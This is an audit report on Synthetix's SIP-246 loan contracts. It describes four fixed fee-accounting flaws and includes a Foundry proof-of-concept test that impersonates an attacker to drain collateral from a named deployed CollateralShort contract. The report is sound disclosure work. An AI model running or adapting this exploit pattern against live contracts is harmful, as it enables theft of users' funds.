Synthetix Kochab Release Smart Contract Audit
# 1. Introduction
iosiro was commissioned by [Synthetix](https://www.synthetix.io) to conduct a smart contract audit of their Kochab Release, which included [SIP-246](https://sips.synthetix.io/sips/sip-246).
The audit of SIP-246 was performed from 26 May to 1 June 2022 with 2 auditors, consuming a total of 4 resource days.
This report is organized into the following sections.
* **[Section 2 - Executive summary:](#section-2)** A high-level description of the findings of the audit.
* **[Section 3 - Audit details:](#section-3)** A description of the scope and methodology of the audit.
* **[Section 4 - Design specification:](#section-4)** An outline of the intended functionality of the smart contracts.
* **[Section 5 - Detailed findings:](#section-5)** Detailed descriptions of the findings of the audit.
The information in this report should be used to understand the smart contracts' risk exposure better and as a guide to improving the security posture of the smart contracts by remediating issues identified. The results of this audit reflect the in-scope source code reviewed at the time of the audit.
The purpose of this audit was to achieve the following:
* Identify potential security flaws.
* Ensure that the smart contracts function according to the documentation provided.
Assessing the off-chain functionality associated with the contracts, for example, backend web application code, was outside of the scope of this audit.
Due to the unregulated nature and ease of transfer of cryptocurrencies, operations that store or interact with these assets are considered high risk from cyber attacks. As such, the highest level of security should be observed when interacting with these assets. This requires a forward-thinking approach, which takes into account the new and experimental nature of blockchain technologies. Strategies that should be used to encourage secure code development include:
* Security should be integrated into the development lifecycle, and the level of perceived security should not be limited to a single code audit.
* Defensive programming should be employed to account for unforeseen circumstances.
* Current best practices should be followed where possible.
<a name="section-2"></a>
# 2. Executive summary
This report presents the findings of a smart contract audit performed by iosiro of Synthetix's Kochab release.
[SIP-246](https://sips.synthetix.io/sips/sip-246) addressed an issue whereby collateral was accumulating in the `CollateralShort` contract on Optimism due to the `_repayWithCollateral` function not burning the collateral used for repayment.
During the audit, it was identified that the manner in which exchange fees were accounted for resulted in users receiving more collateral than they should. This excess collateral could allow a malicious user to drain the underlying collateral from the contract. At the time, the loan contracts had already been paused to address the original issue, so a safe upgrade was possible.
The implemented fix was found to marginally undercalculate the exchange fees but was deemed as an acceptable trade-off to limit the complexity of the changes to the system while addressing the vulnerability.
All issues were addressed by the conclusion of the audit and the implementation was validated to conform to the specification provided.
<a name="section-3"></a>
# 3. Audit details
## 3.1 Scope
The source code considered in-scope for the assessment is described below. Code from all other files was considered to be out-of-scope. Out-of-scope code that interacts with in-scope code was assumed to function as intended and not introduce any functional or security vulnerabilities for the purposes of this audit.
### 3.1.1 Synthetix SIP-246 smart contracts
**Project Name:** Synthetix<br/>
**Initial commit:** [d45b36d](https://github.com/Synthetixio/synthetix/pull/1792/commits/d45b36d4c171674a7a0d87554339beeea0d5912a)<br/>
**Final commit:** [6445920](https://github.com/Synthetixio/synthetix/commit/644592020aa1d9170d6d4350c4f6777bb5993191)<br/>
**Files:** Issuer.sol, Collateral.sol, CollateralShort.sol
## 3.2 Methodology
The audit was conducted using a variety of techniques described below.
### 3.2.1 Code review
The source code was manually inspected to identify potential security flaws. Code review is a useful approach for detecting security flaws, discrepancies between the specification and implementation, design improvements, and high-risk areas of the system.
### 3.2.2 Dynamic analysis
The contracts were compiled, deployed, and tested in a test environment, both manually and through the test suite provided. Manual analysis was used to confirm that the code was functional and discover security issues that could be exploited.
### 3.2.3 Automated analysis
Tools were used to automatically detect the presence of several types of security vulnerabilities, including reentrancy, timestamp dependency bugs, and transaction-ordering dependency bugs. Static analysis results were reviewed manually and any false positives were removed. Any true positive results are included in this report.
Static analysis tools commonly used include Slither, Securify, and MythX. Tools such as the Remix IDE, compilation output, and linters could also be used to identify potential areas of concern.
## 3.3 Risk ratings
Each issue identified during the audit has been assigned a risk rating. The rating is determined based on the criteria outlined below.
* **High risk** - The issue could result in a loss of funds for the contract owner or system users.
* **Medium risk** - The issue resulted in the code specification being implemented incorrectly.
* **Low risk** - A best practice or design issue that could affect the security of the contract.
* **Informational** - A lapse in best practice or a suboptimal design pattern that has a minimal risk of affecting the security of the contract.
* **Closed** - The issue was identified during the audit and has since been satisfactorily addressed, removing the risk it posed.
<a name="section-4"></a>
# 4. Design specification
The following section outlines the intended functionality of the system at a high level.
## 4.3 SIP-246
The specification of SIP-246 was based on commit hash [e948e4a](https://github.com/Synthetixio/SIPs/blob/e948e4a34acda5ef6a8183ebba280d199d284dbf/content/sips/sip-246.md).
<a name="section-5"></a>
# 5. Detailed findings
The following section details the findings of the audit.
## 5.1 High risk
No identified high-risk issues were open at the conclusion of the review.
## 5.2 Medium risk
No identified medium-risk issues were open at the conclusion of the review.
## 5.3 Low risk
No identified low-risk issues were open at the conclusion of the review.
## 5.4 Informational
No identified informational issues were open at the conclusion of the review.
## 5.5 Closed
### 5.5.1 Exchange fees are incorrectly accounted for (high risk)
*[Collateral.sol#L544](https://github.com/Synthetixio/synthetix/blob/a0138acad806f1ffdeba167a43b7de9b0e36ae5b/contracts/Collateral.sol#L544)*
#### Description
In `Collateral._repayWithCollateral` the `expectedAmount` was calculated as the amount out minus exchange fees, which was then subtracted from the loan's collateral. This was incorrect as the exchange fee should have been added to the amount, which would result in the collateral being reduced by a larger amount.
By opening and closing large loans atomically an attacker could exploit the issue to drain the contract of all available collateral.
As a proof of concept, the attack was simulated using the following [forge](https://github.com/foundry-rs/foundry/tree/master/forge) test at a block height of 8914432 (chosen because the dynamic sETH exchange fee was greater than the loan issuance fee):
<pre>
<code class="language-solidity">
contract CollateralShort is Test {
address public attacker = 0xa5f7a39E55D7878bC5bd754eE5d6BD7a7662355b;
ICollateralShort internal short = ICollateralShort(0xEbCe9728E2fDdC26C9f4B00df5180BdC5e184953);
bytes32 constant internal sUSD = "sUSD";
bytes32 constant internal sETH = "sETH";
IERC20 internal synthSUSD = IERC20(0x8c6f28f2F1A3C87F0f938b96d27520d9751ec8d9);
function testExploit() public {
uint initialBalance = synthSUSD.balanceOf(attacker);
vm.startPrank(attacker);
synthSUSD.approve(address(short), type(uint256).max);
uint id = short.open(10000 ether, 1 ether, sETH);
short.closeWithCollateral(id);
vm.stopPrank();
uint finalBalance = synthSUSD.balanceOf(attacker);
assertLt(finalBalance, initialBalance, "Profit!");
}
}
</code>
</pre>
#### Recommendation
The calculation should be updated to calculate the amount of collateral required to be exchanged in order to receive the repayment amount after fees.
#### Update
The issue was mitigated in [6445920](https://github.com/Synthetixio/synthetix/commit/644592020aa1d9170d6d4350c4f6777bb5993191). The exchange fee was added to the `expectedAmount` received after exchange. This resulted in the exchange fee being marginally undercalculated; however, it was deemed as an acceptable trade-off between introducing complexity into the system and addressing the vulnerability at hand.
### 5.5.2 Exchange fee not paid to stakers (medium risk)
*[Collateral.sol#L548](https://github.com/Synthetixio/synthetix/pull/1792/commits/170c0b3530d420577d242487c0c6ca4ec6ae2b61#diff-8761d37e8174ebc6b55cd3c7dee452dbbafdff00ebd7ce5b58d6a4457f84d8c9L548)*
#### Description
The initial implementation of the SIP removed `_payFees(fee, sUSD);` after calculating the amount of collateral to burn. This resulted in the exchange fees not being distributed to SNX stakers.
#### Recommendation
Revert the change so that exchange fees are paid to SNX stakers.
#### Update
The issue was not present in the final commit [6445920](https://github.com/Synthetixio/synthetix/commit/644592020aa1d9170d6d4350c4f6777bb5993191).
### 5.5.3 Collapse service fee not charged with repayment (medium risk)
*[Collateral.sol#L385](https://github.com/Synthetixio/synthetix/blob/a0138acad806f1ffdeba167a43b7de9b0e36ae5b/contracts/Collateral.sol#L385)*
#### Description
The existing implementation of `CollateralShort` did not proportionally apply the collapse service fee when repaying a loan with collateral. The fee was only applied when closing a loan with collateral. This allowed users to repay their loan with collateral and then close the zero balance loan without paying the service fee. At the time of the audit the collapse fee rate was set to zero, consequently, the issue did not pose any immediate risk.
#### Recommendation
Ensure that the collapse fee is applied in `_repayWithCollateral` instead of only in `_closeLoanByRepayment`.
#### Update
The team opted to remove the collapse service fee in [6445920](https://github.com/Synthetixio/synthetix/commit/644592020aa1d9170d6d4350c4f6777bb5993191). The functions relating to the collapse fee rate in `MixinSystemSettings` and other system contracts were kept to limit the number of contracts that needed to be redeployed as part of this release; however, these functions should be removed in a future release.
### 5.5.4 Collapse service fee denominated in the wrong currency (medium risk)
*[Collateral.sol#L386](https://github.com/Synthetixio/synthetix/blob/a0138acad806f1ffdeba167a43b7de9b0e36ae5b/contracts/Collateral.sol#L386)*
#### Description
The existing implementation of `CollateralShort` remitted the collapse fee using the incorrect currency. This could have resulted in significant incorrect fee amounts being distributed to SNX stakers if the collapse service fee had been set.
The code snippet below is given for reference:
```
uint serviceFee = amount.multiplyDecimalRound(getCollapseFeeRate(address(this)));
_payFees(serviceFee, sUSD);
```
#### Recommendation
Since the loan `amount` is denominated in the loan's currency, the fees need to be converted. This can be done by changing the currency argument passed in `_payFees`, as the function converts the currency internally:
```
_payFees(serviceFee, loan.currency);
```
#### Update
The team opted to remove the collapse service fee in [6445920](https://github.com/Synthetixio/synthetix/commit/644592020aa1d9170d6d4350c4f6777bb5993191).
